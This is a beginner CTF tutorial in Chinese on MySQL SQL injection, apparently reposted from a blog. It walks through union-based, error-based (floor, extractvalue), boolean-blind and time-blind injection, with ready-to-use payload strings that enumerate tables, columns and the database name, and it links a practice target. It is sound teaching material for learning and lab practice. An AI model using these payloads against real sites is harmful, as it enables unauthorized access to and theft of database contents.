欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[ctf零基础入门]sql注入

程序员文章站 2022-05-15 09:18:40
...

本文非常简单,适合完全0基础入门学习
需要知道mysql增删改查的最基础用法(前面博文的mysql部分)
[ctf零基础入门]php基础
可以使用里面的网页进行测试,也可以安装使用sqli-labs

常用函数

查看用户名:
[ctf零基础入门]sql注入
查询信息(以下依次为查看版本,当前使用数据库,数据库路径,数据库安装路径)
[ctf零基础入门]sql注入
查询操作系统
[ctf零基础入门]sql注入
上节提到的user表里的内容太多了,截图太麻烦,新建一个info表测试。
连接字符concat
[ctf零基础入门]sql注入
limit用法:
[ctf零基础入门]sql注入

联合查询注入

[ctf零基础入门]sql注入

select group_concat(table_name) from information_schema.tables where table_schema=database()
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='TableName'

UNION用于将多个SELECT语句的结果合并到一个结果集中。
[ctf零基础入门]sql注入

结合之前所学
因为新手没有基础,可以分别写出两句话,然后再进行修改
联合查询语句:id=1 union select 1,2,3;
然后把1的位置,替换成information_schema语句。
id=1 union select ( select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3;
得到当前表名,替换第二句得到当前列名
最后直接查询到想要的字段,
可以使用我前一个博文[ctf零基础入门]php基础搭建的环境为例(使用注释掉的代码),增加一句进行测试:

echo mysql_error();

也可以在下面链接练习:
http://123.206.87.240:8002/chengjidan/index.php

报错注入

Floor注入
[ctf零基础入门]sql注入
count() 返回执行数量
floor()返回不大于参数的最大整数
rand() 返回(0,1)间随机数
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
Group by 根据一个或者多个列机构进行分组排序,floor这里随机产生0,1.这里会报错
[ctf零基础入门]sql注入
为了直观 可以前后都加上~ 即0x7e

extractvalue
select extractvalue(1,concat(0x7e,(select version())));

报错注入得到的结果一般都有长度限制,可以使用substr()进行截取

布尔盲注

注入语句:
?id=1’ and left(database(),1)=‘s’ %23
确定前一位后 尝试前2、3、
?id=1’ and mid(database(),1,1)=‘s’%23
需要掌握(了解)以下几个函数
注入语句:
?id=1’ and left(database(),1)=‘s’ %23
确定前一位后 尝试前2、3、
?id=1’ and mid(database(),1,1)=‘s’%23
left()
regexp()
like()
substr()
ascii() 不能使用引号的情况下使用ascii
ord()
mid()

时间盲注

?id=1’ and sleep(5)–+ 判断闭合问题
和之前布尔盲注原理类似,加上if和sleep 进行判断
mysql> select mid(database(),1,1)=‘m’;
mysql> select if(mid(database(),1,1)=‘m’,sleep(0.5),0);

注入语句:
id=1’ and if(mid(database(),1,1)=‘s’,sleep(2),1) %23
id=1’ and if(ascii(substr(database(),1,1))=115,sleep(2),1)%23

sqli上的时间盲注题目可以使用burp ,是因为length不一样。查看源代码可以找到答案因为它的代码分开执行,虽然回显一样但是代码有点区别导致不太一样 重新修改漏洞后不能用burp**,但是盲注测试是正常的

相关标签: ctf笔记 mysql